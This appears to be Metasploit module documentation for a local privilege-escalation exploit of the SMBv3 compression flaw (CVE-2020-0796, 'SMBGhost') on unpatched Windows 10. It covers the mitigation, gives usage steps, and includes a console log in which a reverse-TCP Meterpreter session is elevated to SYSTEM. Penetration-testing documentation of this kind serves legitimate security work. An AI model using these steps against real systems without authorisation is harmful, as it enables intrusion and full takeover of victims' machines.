## Vulnerable Application
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3)
protocol that can be leveraged to execute code on a vulnerable server. This
local exploit implementation leverages this flaw to elevate itself before
injecting a payload into winlogon.exe.

This vulnerability was patched in March 2020 but prior to that enough
information was publicly available to trigger a crash which led to pre-patch
workarounds. The official recommendation from [Microsoft][1] at the time was to
disable SMBv3 compression, a feature which this exploit relies on. The module's
check method will determine this value using the registry to identify whether or
not compression has been disabled.

Other recommendations included restricting access to TCP port 445 via firewalls.
Given that this is a local exploit and the connection is made to the local host
this is likely an ineffective measure against this particular implementation of
the vulnerability.

### Installation And Setup
Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the
box. The default setting is to have SMBv3 compression enabled.

## Verification Steps

  1. Start msfconsole
  1. Get a Meterpreter session on a vulnerable host
  1. Do: `use exploit/windows/local/cve_2020_0796_smbghost`
  1. Set the `SESSION` and `PAYLOAD` options
  1. Do: `run`
  1. You should get a shell.

## Scenarios

### Windows 10 Version 1909 Build 18363.418 x64

```
msf exploit(windows/local/cve_2020_0796_smbghost) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-PKLKKF7\user
meterpreter > sysinfo
Computer        : DESKTOP-PKLKKF7
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf exploit(windows/local/cve_2020_0796_smbghost) > show options

Module options (exploit/windows/local/cve_2020_0796_smbghost):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  -1               yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 10 v1903-1909 x64


msf exploit(windows/local/cve_2020_0796_smbghost) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Windows Build Number = 18363
[+] The target appears to be vulnerable.
[*] Reflectively injecting the exploit DLL and executing it...
[*] Sending stage (206403 bytes) to 192.168.159.153
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
